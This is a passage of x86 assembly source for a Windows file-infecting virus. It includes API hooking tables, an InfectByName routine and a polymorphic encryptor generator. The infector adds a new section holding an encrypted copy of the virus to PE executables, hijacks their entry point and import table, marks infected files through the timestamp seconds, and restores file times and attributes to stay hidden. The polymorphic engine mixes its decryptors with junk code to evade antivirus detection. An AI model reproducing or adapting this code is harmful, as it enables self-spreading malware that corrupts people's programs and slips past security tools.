		Dd	Offset ILoadLibraryExA

		Dd	Offset _FindFirstFileA
		Dd	Offset NFindFirstFileA
		Dd	Offset IFindFirstFileA

		Dd	Offset _FindNextFileA
		Dd	Offset NFindNextFileA
		Dd	Offset IFindNextFileA

KrnlImpCnt	=	($ - Offset KrnlImp)/(3*4)
;BreakCodeLine

;DefCodeLine
ShellImp	Label	DWord
		Dd	Offset _ShellExecuteA
		Dd	Offset NShellExecuteA
		Dd	Offset IShellExecuteA

		Dd	Offset _ShellExecuteEx
		Dd	Offset NShellExecuteEx
		Dd	Offset IShellExecuteEx

		Dd	Offset _ShellExecuteExA
		Dd	Offset NShellExecuteExA
		Dd	Offset IShellExecuteExA

		Dd	Offset _FindExecutableA
		Dd	Offset NFindExecutableA
		Dd	Offset IFindExecutableA

ShellImpCnt	=	($ - Offset ShellImp)/(3*4)
;BreakCodeLine

;DefCodeLine
DialogImp	Label	DWord
		Dd	Offset _GetOpenFileNameA
		Dd	Offset NGetOpenFileNameA
		Dd	Offset IGetOpenFileNameA

		Dd	Offset _GetSaveFileNameA
		Dd	Offset NGetSaveFileNameA
		Dd	Offset IGetSaveFileNameA

DialogImpCnt	=	($ - Offset DialogImp)/(3*4)
;BreakCodeLine

;DefCodeLine
UserImp		Label	DWord
		Dd	Offset _DrawTextA
		Dd	Offset NDrawTextA
		Dd	Offset IDrawTextA

		Dd	Offset _DrawTextExA
		Dd	Offset NDrawTextExA
		Dd	Offset IDrawTextExA

		Dd	Offset _TabbedTextOutA
		Dd	Offset NTabbedTextOutA
		Dd	Offset ITabbedTextOutA

		Dd	Offset _wsprintfA
		Dd	Offset NwsprintfA
		Dd	Offset IwsprintfA

		Dd	Offset _wvsprintfA
		Dd	Offset NwvsprintfA
		Dd	Offset IwvsprintfA

		Dd	Offset _GetTabbedTextExtentA
		Dd	Offset NGetTabbedTextExtentA
		Dd	Offset IGetTabbedTextExtentA

		Dd	Offset _MessageBoxA
		Dd	Offset NMessageBoxA
		Dd	Offset IMessageBoxA

		Dd	Offset _WinHelpA
		Dd	Offset NWinHelpA
		Dd	Offset IWinHelpA

UserImpCnt	=	($ - Offset UserImp)/(3*4)
;BreakCodeLine

;DefCodeLine
GDIImp		Label	DWord
		Dd	Offset _TextOutA
		Dd	Offset NTextoutA
		Dd	Offset ITextOutA

		Dd	Offset _ExtTextOutA
		Dd	Offset NExtTextOutA
		Dd	Offset IExtTextOutA

		Dd	Offset _GetTextExtentPointA
		Dd	Offset NGetTextExtentPointA
		Dd	Offset IGetTextExtentPointA

		Dd	Offset _GetTextExtentPoint32A
		Dd	Offset NGetTextExtentPoint32A
		Dd	Offset IGetTextExtentPoint32A

		Dd	Offset _GetTextExtentExPointA
		Dd	Offset NGetTextExtentExPointA
		Dd	Offset IGetTextExtentExPointA

GDIImpCnt	=	($ - Offset GDIImp)/(3*4)
;BreakCodeLine

;Separator=_Jmp
; ---------------------------------------------------------
; Infector routines
InfectByName:	Push	MemCommitSz/4h
		Call	AllocStackMem		; Infect file by name in EDx
		Cmp	Debug,0h		; (Who in EBx)
		Je	Infect_0$
		Or	EDx,EDx
		Jne	Infect_D$
		Push	30h			; OkOnly+Exclamation
		Push	EBx
		Push	Offset InfNoNameMsg
		Push	0h
		Call	MessageBoxA		; [!!!For DEBUG!!!]
		Push	MemCommitSz/4h
		Call	FreeStackMem
		Ret

Infect_D$:	Push	EBx
		Push	EDx
		Push	21h			; OkCancel+Question
		Push	EBx
		Push	EDx
		Push	0h
		Call	MessageBoxA		; [!!!For DEBUG!!!]
		Pop	EDx
		Cmp	EAx,1h
		Pop	EBx
		Jz	Infect_0$
		Push	30h			; OkOnly+Exclamation
		Push	EBx			; Infecting disabled
		Push	Offset InfCancelMsg	; by Creator
		Push	0h
		Call	MessageBoxA
		Push	MemCommitSz/4h
		Call	FreeStackMem
		Ret

Infect_0$:	Mov	FileNamePtr,EDx		; !!!Ready and Waiting!!!
		Push	EDx
		Call	GetFileAttributesA	; Get file attributes
		Or	EAx,EAx
		Jz	Infect_F0$
		Mov	FileAttributes,EAx
		Push	80h			; File_Attribute_Normal
		Push	DWord Ptr FileNamePtr
		Call	SetFileAttributesA
		Push	0h
		Push	10000000h+80h		; FAN, FFRA
		Push	3h			; OE
		Push	0h
		Push	1h			; FSR
		Push	80000000h+40000000h	; GR/GW
		Push	DWord Ptr FileNamePtr
		Call	CreateFileA		; Try to open
		Cmp	EAx,-1
		Je	Infect_F1$
		Mov	FileHandle,EAx
		Lea	EAx,FileLastWrite	; Storing file Date/Time
		Push	EAx			; for future restoring
		Lea	EAx,FileLastAccess
		Push	EAx
		Lea	EAx,FileCreation
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	GetFileTime

		Lea	EAx,FT_Struc		; Checking infection flag
		Push	EAx
		Lea	EAx,FileLastWrite
		Push	EAx
		Call	FileTimeToSystemTime
		Mov	Ax,FT_Year
		Rol	Ax,1
		Xor	Ax,FT_Month
		Ror	Ax,1
		Xor	Ax,FT_Day
		Rol	Ax,1
		Xor	Ax,FT_Hour
		Ror	Ax,1
		Xor	Ax,FT_Minute
		Rol	Ax,1
		And	Ax,3Ch
		Cmp	Ax,FT_Second		; Already! Good.
		Je	Infect_F2$
		Mov	NewSeconds,Ax

		Push	0h
		Lea	EAx,ProcessedBytes	; Read the DOS file
		Push	EAx			; header
		Push	40h
		Lea	EAx,DosHeader
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	ReadFile
		Or	EAx,EAx			; Error reading
		Jz	Infect_F2$
		Cmp	DWord Ptr ProcessedBytes,40h
		Jne	Infect_F2$		; Readed less then 40h bytes
		Cmp	Word Ptr DosHeader,'MZ'
		Je	Infect_F3$
		Cmp	Word Ptr DosHeader,'ZM'
		Jne	Infect_F2$
Infect_F3$:	Cmp	Word Ptr DosHeader[18h],40h
		Jb	Infect_F2$
		Push	0h			; FileBegin
		Push	0h
		Push	DWord Ptr DosHeader[3Ch]
		Push	DWord Ptr FileHandle	; Seek to PE Header start
		Call	SetFilePointer
		Cmp	EAx,-1
		Je	Infect_F2$
		Push	0h			; Read the PEHeader
		Lea	EAx,ProcessedBytes
		Push	EAx
		Push	PEHeaderSize
		Lea	EAx,PEHeader
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	ReadFile
		Or	EAx,EAx
		Jz	Infect_F2$		; Error reading
		Cmp	DWord Ptr ProcessedBytes,PEHeaderSize
		Jne	Infect_F2$		; Readed too less bytes
		Cmp	DWord Ptr PE_Sign,'EP'
		Jne	Infect_F2$

		MovZx	EAx,Word Ptr PE_NTHdrSize
		Add	EAx,DWord Ptr DosHeader[3Ch]
		Add	EAx,18h
		Mov	PEFileHeaders,EAx
		Push	0h			; Seek to sections descr.
		Push	0h
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	SetFilePointer
		Cmp	EAx,-1			; Error seeking
		Je	Infect_F2$
		MovZx	ECx,Word Ptr PE_NumOfSections
		Or	ECx,ECx			; No sections
		Jz	Infect_F2$
		Mov	EAx,SectSize
		Mul	ECx
		Add	EAx,PEFileHeaders
		Add	EAx,SectSize
		Cmp	EAx,PE_HeaderSize	; No room for new section!?
		Ja	Infect_F2$

		Mov	DWord Ptr ImportLegal,0h
		Xor	EDx,EDx
		MovZx	ECx,Word Ptr PE_NumOfSections
Infect_AS$:	Inc	EDx
		Push	ECx
		Push	EDx
		Push	0h			; Read the section header
		Lea	EAx,ProcessedBytes
		Push	EAx
		Push	SectSize
		Lea	EAx,Section
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	ReadFile
		Pop	EDx
		Pop	ECx
		Or	EAx,EAx			; Error reading
		Jz	Infect_F2$
		Cmp	DWord Ptr ProcessedBytes,SectSize
		Jne	Infect_F2$		; Readed too less bytes
		Cmp	DWord Ptr ImportLegal,0h
		Jne	Infect_NS$		; Import already detected!
		Mov	EAx,SectRVA
		Cmp	EAx,PE_ImportTableRVA
		Ja	Infect_NS$
		Mov	ImportRVA,EAx
		Add	EAx,SectVirtSize
		Cmp	EAx,PE_ImportTableRVA
		Jbe	Infect_NS$
		Mov	EAx,SectPhysOffs
		Mov	ImportPhysOffs,EAx
		Mov	EAx,SectFlags
		Mov	ImportFlags,EAx
		Mov	ImportOrder,EDx
		Mov	DWord Ptr ImportLegal,-1
Infect_NS$:	Dec	ECx
		Jnz	Infect_AS$
		Cmp	DWord Ptr ImportLegal,0h
		Jz	Infect_F2$		; Import not found ?!

		Mov	EAx,DWord Ptr SelfSectionName
		Mov	SelfSectName,EAx	; SetUp self section name
		Mov	EAx,DWord Ptr SelfSectionName+4
		Mov	SelfSectName+4,EAx
		Mov	EAx,SectRVA
		Add	EAx,SectVirtSize
		Mov	EBx,PE_ObjectAlign
		Call	AlignDWordOnDWord
		Mov	SelfSectRVA,EAx		; SetUp self sect. RVA & Flags
		Mov	DWord Ptr SelfSectFlags,0E0000040h	; R/W/E, IData

		Push	2h			; Seek to EOF
		Push	0h
		Push	0h
		Push	DWord Ptr FileHandle
		Call	SetFilePointer
		Cmp	EAx,-1
		Je	Infect_F2$
		Push	EAx			; SetUp self section
		Mov	EBx,PE_FileAlign	; Physical Offset
		Call	AlignDWordOnDWord
		Mov	SelfSectPhysOffs,EAx
		Pop	EBx
		Sub	EAx,EBx
		Jz	Infect_NoPreA$
		Push	EAx			; Need file alignment
		Mov	ECx,EAx
		Lea	EDi,VeryLargeBuffer
		Cld
		Xor	Al,Al
		Rep	StosB
		Pop	ECx
		Push	ECx
		Push	0h
		Lea	EAx,ProcessedBytes	; Write some null's into
		Push	EAx			; fucking file
		Push	ECx
		Lea	EAx,VeryLargeBuffer
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	WriteFile
		Or	EAx,EAx
		Pop	ECx
		Jz	Infect_F2$
		Cmp	ECx,ProcessedBytes
		Jne	Infect_F2$

Infect_NoPreA$:	Xor	EBx,EBx
		Lea	EDi,VeryLargeBuffer	; Transfer self to memory
		Mov	ESi,Offset Start
Infect_Trans$:	Mov	Al,[ESi][EBx]
		Mov	[EDi][EBx],Al
		Inc	EBx
		Cmp	EBx,StubImportPlace
		Jb	Infect_Trans$

		Mov	EAx,9h			; Generate the set of
		Call	Random			; polymorphic cryptors
		Add	EAx,8h			; in range (8..16)
		Mov	CryptCnt,EAx
		Lea	EAx,VeryLargeBuffer
		Add	EAx,StubImportPlace
		Mov	EDi,EAx
		Mov	EAx,FixUpsCounter	; Depend on PELINK
		Shl	EAx,2h			; tool linking strategy!
		Add	EAx,FixUpsPlace
		Mov	GenCrSz,EAx
		Xor	EAx,EAx
		Mov	GenSz,EAx
		Mov	GenTotalSz,EAx
Infect_Gen$:	Add	EDi,1000h		; Maximal encryptor size!
Infect_Gen_A$:	Lea	ESi,[EDi-1000h]
		Mov	ECx,GenCrSz
		Push	EDi
		Push	EAx			; Make the cryptor pairs
		Call	GenPolyMorph
		Pop	EAx
		Pop	EDi
		Cmp	EBx,1000h
		Ja	Infect_Gen_A$
		Mov	Cryptors[EAx*8],EBx	; Encryptor size
		Mov	Cryptors[EAx*8+4],EDx	; Decryptor size
		Add	GenSz,EDx
		Add	GenCrSz,EDx
		Add	GenTotalSz,EDx
		Add	GenTotalSz,EBx
		Xchg	ESi,EDi
		Mov	ECx,EDx
		Cld				; Pack cryptors
		Rep	MovsB
		Inc	EAx
		Cmp	EAx,CryptCnt
		Jb	Infect_Gen$

		Lea	EDi,VeryLargeBuffer
		Mov	EBx,Here
		Mov	ESi,FixUpsPlace
		Mov	ECx,FixUpsCounter	; UnDo FixUps
Infect_UnDo1$:	Mov	EAx,[ESi][EBx]
		Sub	[EDi][EAx],EBx
		Add	ESi,4h
		Dec	ECx
		Jnz	Infect_UnDo1$

		Mov	EAx,GenSz		; SetUp PolyMorph sizes
		Mov	EDx,Offset PolyMorphSz
		Sub	EDx,EBx
		Mov	[EDi][EDx],EAx
		Mov	EAx,PE_EntryPointRVA	; SetUp EntryPoint
		Mov	EDx,Offset StubEntryLabel
		Sub	EDx,EBx
		Mov	[EDi][EDx],EAx
		Mov	EAx,SelfSectRVA		; SetUp SelfPlace
		Mov	EDx,Offset CurrentPlace
		Sub	EDx,EBx
		Mov	[EDi][EDx],EAx
		Mov	EAx,PE_ImageBase	; SetUp ImagePlace
		Mov	EDx,Offset ImagePlace
		Sub	EDx,EBx
		Mov	[EDi][EDx],EAx
		Mov	EAx,1h			; SetUp Initialization Flag
		Mov	EDx,Offset InitOk
		Sub	EDx,EBx
		Mov	[EDi][EDx],EAx

		Mov	ESi,ImportPlace		; ReSetUp Import directory
		Mov	ECx,ImportLength
Infect_UnDo2$:	Mov	EDx,[ESi][EBx]		; Get LookUp pointer
		Sub	EDx,CurrentPlace
		Sub	EDx,PolyMorphSz
		Push	EDx
Infect_Un_2$:	Mov	EAx,[EDx][EBx]		; ReSetUp LookUp table
		Or	EAx,EAx
		Jz	Infect_Un_1$
		Sub	EAx,CurrentPlace
		Sub	EAx,PolyMorphSz
		Add	EAx,SelfSectRVA
		Add	EAx,GenSz
		Mov	[EDi][EDx],EAx
		Add	EDx,4h
		Jmp	Infect_Un_2$
Infect_Un_1$:	Pop	EDx
		Add	EDx,SelfSectRVA		; ReSetUp LookUp ptr
		Add	EDx,GenSz
		Mov	[EDi][ESi],EDx
		Mov	EDx,[ESi][EBx]+3*4	; ReSetUp Name ptr
		Sub	EDx,CurrentPlace
		Sub	EDx,PolyMorphSz
		Add	EDx,SelfSectRVA
		Add	EDx,GenSz
		Mov	[EDi][ESi]+3*4,EDx
		Mov	EDx,[ESi][EBx]+4*4	; ReSetUp ImprtAddress ptr
		Sub	EDx,CurrentPlace
		Sub	EDx,PolyMorphSz
		Add	EDx,SelfSectRVA
		Add	EDx,GenSz
		Mov	[EDi][ESi]+4*4,EDx
		Add	ESi,5*4
		Sub	ECx,5*4
		Ja	Infect_UnDo2$

		Lea	ESi,VeryLargeBuffer	; Crypt the self body
		Mov	ECx,StubImportPlace	; before writing it
		Add	ECx,GenTotalSz		; into desired file
		Add	ESi,ECx
		Mov	EDi,ESi
		Add	EDi,GenSz
		Dec	EDi
		Dec	ESi
		Std				; Place buffer at
		Rep	MovsB			; program start
		Mov	ESi,StubImportPlace
		Add	ESi,EDi
		Xor	EAx,EAx
Infect_Crypt$:	Push	EAx
		Mov	ECx,Cryptors[EAx*8+4]
		Lea	EBx,[ESi+1]
		Add	ESi,ECx
		Add	ESi,Cryptors[EAx*8]
		Push	ESi
		Push	EDi
		Std
		Rep	MovsB
		Xchg	EDi,[ESp]
		Inc	EDi
		Push	EBp
		Push	EDi
		Call	EBx			; Crypt by one cryptor
		Pop	EBp
		Pop	EDi
		Pop	ESi
		Pop	EAx
		Inc	EAx
		Cmp	EAx,CryptCnt
		Jb	Infect_Crypt$
		Cld

		Mov	ECx,StubImportPlace
		Add	ECx,GenSz
		Push	ECx
		Push	0h			; WRITE self body
		Lea	EAx,ProcessedBytes	; File pointer
		Push	EAx			; must be at file EOF
		Push	ECx
		Lea	EAx,VeryLargeBuffer
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	WriteFile
		Or	EAx,EAx			; Error writing
		Pop	EAx
		Jz	Infect_F2$
		Cmp	EAx,ProcessedBytes
		Jne	Infect_F2$		; Too less bytes written

		Mov	EAx,PE_ImportTableRVA	; Calculate import place
		Sub	EAx,ImportRVA		; in file
		Add	EAx,ImportPhysOffs
		Push	0h
		Push	0h
		Push	EAx
		Push	DWord Ptr FileHandle	; And seek in file at
		Call	SetFilePointer		; this position
		Cmp	EAx,-1
		Je	Infect_F2$		; Error seeking
		Lea	EBx,VeryLargeBuffer
Infect_Trans1$:	Push	EBx
		Push	0h
		Lea	EAx,ProcessedBytes	; Read the next import record
		Push	EAx
		Push	5*4
		Push	EBx
		Push	DWord Ptr FileHandle
		Call	ReadFile
		Pop	EBx
		Or	EAx,EAx
		Jz	Infect_F2$		; Errors. . .
		Cmp	DWord Ptr ProcessedBytes,5*4
		Jne	Infect_F2$
		Add	EBx,5*4			; Last import record???
		Cmp	DWord Ptr [EBx][3*4][-5*4],0h
		Jne	Infect_Trans1$
		Lea	EAx,VeryLargeBuffer
		Sub	EBx,EAx
		Push	EBx
		Push	2h			; Seek to EOF
		Push	0h
		Push	0h
		Push	DWord Ptr FileHandle
		Call	SetFilePointer
		Pop	EBx
		Cmp	EAx,-1			; Errors. . .
		Je	Infect_F2$
		Push	EBx
		Push	0h			; Write all import records
		Lea	EAx,ProcessedBytes	; to target file
		Push	EAx
		Push	EBx
		Lea	EAx,VeryLargeBuffer
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	WriteFile
		Pop	EBx
		Or	EAx,EAx			; Errors. . .
		Jz	Infect_F2$
		Cmp	ProcessedBytes,EBx
		Jne	Infect_F2$
		Add	EBx,ImportLength	; Calculate the new import
		Mov	PE_ImportDataSz,EBx	; size and RVA
		Mov	EAx,SelfSectRVA
		Add	EAx,GenSz
		Add	EAx,ImportPlace
		Mov	PE_ImportTableRVA,EAx

		Lea	EDi,VeryLargeBuffer	; Generate some random trash
		Mov	EAx,100h
		Call	Random
		Lea	ECx,[EAx+10h]
		Push	ECx
		Cld
Infect_Trash$:	Mov	EAx,100h
		Call	Random
		StosB
		Dec	ECx
		Jnz	Infect_Trash$
		Mov	ECx,[ESp]
		Push	0h			; and write it into
		Lea	EAx,ProcessedBytes	; fucking file, at them
		Push	EAx			; end
		Push	ECx
		Lea	EAx,VeryLargeBuffer
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	WriteFile
		Or	EAx,EAx			; Error writing!
		Pop	EAx
		Jz	Infect_F2$
		Cmp	EAx,ProcessedBytes	; Too less bytes written
		Jne	Infect_F2$

		Push	2h			; Seek to EOF
		Push	0h
		Push	0h
		Push	DWord Ptr FileHandle
		Call	SetFilePointer
		Cmp	EAx,-1			; Seeking failure
		Je	Infect_F2$
		Sub	EAx,SelfSectPhysOffs	; SetUp self section sizes
		Mov	SelfSectVirtSize,EAx
		Mov	EBx,PE_FileAlign
		Call	AlignDWordOnDWord
		Mov	SelfSectPhysSize,EAx
		Sub	EAx,SelfSectVirtSize
		Jz	Infect_ToDone$		; Need file align?
		Mov	ECx,EAx
		Push	ECx
		Mov	Al,0h			; Prepare aligning buffer
		Cld
		Lea	EDi,VeryLargeBuffer
		Rep	StosB
		Pop	ECx
		Push	ECx			; And align the file
		Push	0h
		Lea	EAx,ProcessedBytes
		Push	EAx
		Push	ECx
		Lea	EAx,VeryLargeBuffer
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	WriteFile
		Pop	ECx
		Or	EAx,EAx			; Error writing!
		Jz	Infect_F2$
		Cmp	DWord Ptr ProcessedBytes,ECx
		Jne	Infect_F2$		; Too less bytes written

Infect_ToDone$:	Mov	EAx,SelfSectVirtSize	; SetUp memory requirement
		Mov	EBx,PE_ObjectAlign
		Call	AlignDWordOnDWord
		Add	PE_ImageSize,EAx
		Add	PE_SizeOfIData,EAx
		Mov	EAx,SelfSectRVA		; SetUp Self EntryPoint
		Mov	PE_EntryPointRVA,EAx
		Mov	EAx,PE_StackReserveSz	; SetUp stack size
		Add	EAx,MemCommitSz		; (for placing temporary
		Mov	PE_StackReserveSz,EAx	; buffer)

		MovZx	EAx,Word Ptr PE_NumOfSections
		Mov	ECx,SectSize
		Mul	ECx
		Add	EAx,PEFileHeaders
		Push	0h			; Prepare to write
		Push	0h			; SelfSection descriptor
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	SetFilePointer
		Cmp	EAx,-1			; Errors. . .
		Je	Infect_F2$
		Push	0h			; And write it!
		Lea	EAx,ProcessedBytes
		Push	EAx
		Push	SelfSectSize
		Lea	EAx,SelfSection
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	WriteFile
		Or	EAx,EAx
		Jz	Infect_F2$		; Errors. . .
		Cmp	DWord Ptr ProcessedBytes,SelfSectSize
		Jne	Infect_F2$

		Mov	ECx,DWord Ptr ImportOrder
		Mov	EAx,SectSize		; Prepare to write import
		Mul	ECx			; section flags
		Add	EAx,PEFileHeaders	; Warning!!!
		Sub	EAx,4h			; Import section Flags
		Push	0h			; is the LAST field in
		Push	0h			; section header structure
		Push	EAx			; !!!!!!!!!!!!!!!!!!!!!!!!
		Push	DWord Ptr FileHandle
		Call	SetFilePointer
		Cmp	EAx,-1h			; Seeking failure
		Je	Infect_F2$

		Or	DWord Ptr ImportFlags,0C0000000h
		Push	0h			; Enable reading
		Lea	EAx,ProcessedBytes	; and writing
		Push	EAx			; in Import section
		Push	4h
		Lea	EAx,ImportFlags
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	WriteFile
		Or	EAx,EAx
		Jz	Infect_F2$		; Errors. . .
		Cmp	DWord Ptr ProcessedBytes,4h
		Jne	Infect_F2$

		Inc	Word Ptr PE_NumOfSections	; New # of sections
		Push	0h			; Prepare to writing
		Push	0h			; PE header
		Push	DWord Ptr DosHeader[3Ch]
		Push	DWord Ptr FileHandle
		Call	SetFilePointer
		Cmp	EAx,-1
		Je	Infect_F2$
		Push	0h
		Lea	EAx,ProcessedBytes
		Push	EAx
		Push	PEHeaderSize		; And write it
		Lea	EAx,PEHeader
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	WriteFile
		Or	EAx,EAx
		Jz	Infect_F2$		; Errors. . .
		Cmp	DWord Ptr ProcessedBytes,PEHeaderSize
		Jne	Infect_F2$

		Mov	Ax,NewSeconds		; Ok! Set infection flag.
		Mov	FT_Second,Ax
		Lea	EAx,FileLastWrite
		Push	EAx
		Lea	EAx,FT_Struc
		Push	EAx
		Call	SystemTimeToFileTime

Infect_F2$:	Lea	EAx,FileLastWrite	; Restore file Date/Time
		Push	EAx
		Lea	EAx,FileLastAccess
		Push	EAx
		Lea	EAx,FileCreation
		Push	EAx
		Push	DWord Ptr FileHandle
		Call	SetFileTime

		Push	DWord Ptr FileHandle	; Close our file. Ooh, Yes!
		Call	CloseHandle

Infect_F1$:	Push	DWord Ptr FileAttributes; Restore file attributes
		Push	DWord Ptr FileNamePtr
		Call	SetFileAttributesA
Infect_F0$:	Push	MemCommitSz/4h
		Call	FreeStackMem
		Ret

; ---------------------------------------------------------
; Service routines
;
AllocStackMem:	Pop	EAx			; Allocate memory in Stack
		Pop	ECx			; Corrupt EAx,ECx !!!
		Push	EBp			; Do not use call stack
AllocStack_1$:	Push	0h			; before this call
		Dec	ECx
		Jnz	AllocStack_1$
		Mov	EBp,ESp
		Push	EAx
		Ret

FreeStackMem:	Pop	EAx			; Free memory in Stack
		Pop	ECx			; Corrupt EAx,ECx !!!
FreeStack_1$:	Pop	DropDWord		; Do not use stack
		Dec	ECx			; memory after this call
		Jnz	FreeStack_1$
		Pop	EBp
		Push	EAx
		Ret
DropDWord	Dd	?

AlignDWordOnDWord:
		Push	EDx
		Xor	EDx,EDx			; Align EAx by EBx boundary
		Push	EAx
		Div	EBx
		Pop	EAx
		Or	EDx,EDx
		Jz	AlignDWord_0$
		Sub	EAx,EDx
		Add	EAx,EBx
AlignDWord_0$:	Pop	EDx
		Ret

; ---------------------------------------------------------
; My string converter ;-)
ConvertStr:	Cld				; Convert some string
		Call	InitConverter		; in EDx with
		Mov	ESi,EDx			; possibly length in ECx
		Lea	EDi,SmallBuffer		; (Corrupt EDi,ESi,EAx)
		Push	ESi
		Push	EDi
		Push	ECx
		Push	EBx
		Cmp	ECx,-1h
		Je	Convert_Mode1$

		Or	ECx,ECx
		Jz	Convert_Done$
Convert_Mode0$:	Call	ProcessChar		; Counter mode
		Dec	ECx
		Jnz	Convert_Mode0$
		Pop	EBx
		Pop	ECx
		Pop	EDx
		Pop	ECx
		Mov	Byte Ptr Es:[EDi],0h
		Sub	EDi,EDx
		Mov	ECx,EDi
		Ret

Convert_Mode1$:	Call	ProcessChar		; ASCIZ mode
		Cmp	Byte Ptr [ESi][-1],0h
		Jne	Convert_Mode1$
		Pop	EBx
		Pop	ECx
		Pop	EDx
		Pop	EAx
		Ret

Convert_Done$:	Pop	EBx
		Pop	ECx
		Pop	EDi
		Pop	ESi
		Mov	Byte Ptr Es:[EDi],0h
		Ret

ProcessChar:	LodsB				; Process one char, empty
		StosB				; strings are not allowed!!!
		Cmp	Al,'a'
		Jb	Process_1$		; UpCase the source char
		Cmp	Al,'z'
		Ja	Process_1$
		Sub	Al,20h
Process_1$:	Push	ECx
		Push	EBx
		Push	EDx
		Mov	ECx,ConvertDataLen
		Xor	EBx,EBx			; Try the some variants
Process_Again$:	Mov	EDx,[EBx*4]ConvertVar
		Mov	Ah,[EDx]
		Inc	DWord Ptr [EBx*4]ConvertVar
		Cmp	Al,Ah			; Good char?
		Jne	Process_Bad$
		Cmp	Byte Ptr [EDx][1],0h	; Last char in variant?
		Jne	Process_Next$

		Sub	EDx,[EBx*8][ConvertData]
		Sub	EDi,EDx			; Make the replacing
		Dec	EDi
		Push	ESi
		Mov	ESi,[EBx*8+4][ConvertData]
Process_Do$:	LodsB				; Transfer the real string
		StosB				; converted by me ;-)
		Cmp	Al,0h
		Jne	Process_Do$
		Dec	EDi
		Pop	ESi
		Push	DWord Ptr [EBx*8][ConvertData]
		Pop	DWord Ptr [EBx*4]ConvertVar
		Jmp	Process_Ok$

Process_Bad$:	Push	DWord Ptr [EBx*8][ConvertData]
		Pop	DWord Ptr [EBx*4]ConvertVar
Process_Next$:	Inc	EBx			; Next variant
		Dec	ECx
		Jnz	Process_Again$
Process_Ok$:	Pop	EDx			; Char has been processed
		Pop	EBx
		Pop	ECx
		Ret

InitConverter:	Push	EBx			; InitConverter routines
		Push	ECx
		Mov	ECx,ConvertDataLen
		Xor	EBx,EBx
InitConv_1$:	Push	DWord Ptr [EBx*8][ConvertData]
		Pop	DWord Ptr [EBx*4]ConvertVar
		Inc	EBx
		Dec	ECx
		Jnz	InitConv_1$
		Pop	ECx
		Pop	EBx
		Ret

Transfer_Str:	Cmp	ECx,-1h			; More strict strings
		Je	Transfer_S_M$		; moving routine
		Or	ECx,ECx
		Jz	Transfer_S_D$
		Rep	MovsB
Transfer_S_D$:	Xor	Al,Al
		StosB
		Ret

Transfer_S_M$:	LodsB
		StosB
		Or	Al,Al
		Jnz	Transfer_S_M$
		Ret

; ---------------------------------------------------------
; The PolyMorph code has the such structure:
;           PushA
;           Call   Start
;           ...
; Sem:      Dd     1h
;           ...
; Start:    Pop    BaseReg
;           Xor    SemReg,SemReg (And SemReg,0) (Mov SemReg,0)
; LockSem:  Xchg   [BaseReg][Sem],SemReg
;           Or     SemReg,SemReg (Test SemReg,SemReg) (And SemReg,SemReg)
;           Jz     LockSem
;           Cmp    SemReg,2h
;           Je     Done
;           Add    BaseReg,CodeStart
;           Add    [BaseReg][Border],BaseReg
;           .LoadRegisters
; Again:    .Decrypt
;           Add    Base,4h (Inc Base) 4 times
;           Cmp    Base,Border
;           Jb     Again
;           Sub    BaseReg,CodeStart+CodeSize
; Done:     Mov    [BaseReg][Sem],2h
;           PopA
; CodeStart:
;
; All code mixed with trash. . .               Prepare to understand!

GenPolyMorph:	Push	ESi
		Push	EDi
		Push	ECx
		Call	GetNoESpReg		; Choose the 2 base
		Mov	pBaseReg,Al		; registers
		Mov	Bl,Al			; Base
GenPolyM_R$:	Call	GetNoESpReg
		Cmp	Bl,Al
		Je	GenPolyM_R$
		Mov	pSemReg,Al		; and Semaphore
		Mov	Byte Ptr pEnableEncr,0h
		Mov	ECx,5h
		Mov	EBx,Offset GenNoRegCom
		Call	Enumer
		Mov	Al,60h			; PushA
		StosB
		Mov	Ax,-1h
		Mov	EBx,Offset GenAnyCom
		Call	Enumer
		Mov	Al,0E8h			; Call $+...
		StosB
		Mov	EAx,50h
		Call	Random
		Add	EAx,10h
		Push	EAx
		StosD
		Mov	pBase,EDi
		Mov	ECx,EAx
GenPolyM_C$:	Mov	EAx,100h
		Call	Random
		StosB
		Dec	ECx
		Jnz	GenPolyM_C$
		Pop	EAx
		Sub	EAx,4h
		Call	Random
		Mov	pSem,EAx
		Add	EAx,pBase		; SetUp semaphore
		Mov	DWord Ptr [EAx],1h
		Mov	Al,pBaseReg		; Pop BaseReg
		Or	Al,58h
		StosB
		Mov	Ah,-1h
		Mov	Al,pBaseReg
		Mov	ECx,5h
		Mov	EBx,Offset GenAnyCom
		Call	Enumer
		Mov	EAx,2h			; Xor SemReg,SemReg
		Call	Random
		Or	Al,Al
		Jz	GenPolyM_X$
		Mov	Al,2h
		Call	Random
		Or	Al,Al
		Jz	GenPolyM_XM$
		Mov	Al,81h			; (And)
		StosB
		Mov	Al,pSemReg
		Or	Al,0E0h
		StosB
		Xor	EAx,EAx
		StosD
		Jmp	GenPolyM_XD$
GenPolyM_XM$:	Mov	Al,0B8h			; (Mov)
		Or	Al,pSemReg
		StosB
		Xor	EAx,EAx
		StosD
		Jmp	GenPolyM_XD$
GenPolyM_X$:	Mov	Al,2h			; (Xor)
		Call	Random
		Add	EAx,EAx
		Or	Al,31h
		StosB
		Mov	Al,pSemReg
		Shl	Al,3h
		Or	Al,pSemReg
		Or	Al,0C0h
		StosB
GenPolyM_XD$:	Mov	Al,pSemReg
		Mov	Ah,pBaseReg
		Call	Enumer
		Mov	pXchg,EDi
		Mov	Al,87h			; Xchg SemReg,[BaseReg][Sem]
		StosB
		Mov	Al,pSemReg
		Shl	Al,3h
		Or	Al,80h
		Or	Al,pBaseReg
		StosB
		Mov	EAx,pSem
		StosD
		Mov	Al,pBaseReg
		Mov	Ah,pSemReg
		Call	Enumer
		Mov	EAx,4h			; Or SemReg,SemReg
		Call	Random
		Jz	GenPolyM_OC$
		Mov	Al,3h			; (And) (Test) (Or)
		Call	Random
		Shl	Al,3h
		Mov	Cl,Al
		Mov	EAx,092185h
		Shr	EAx,Cl
		Cmp	Al,85h
		Je	GenPolyM_O$
		Push	EAx
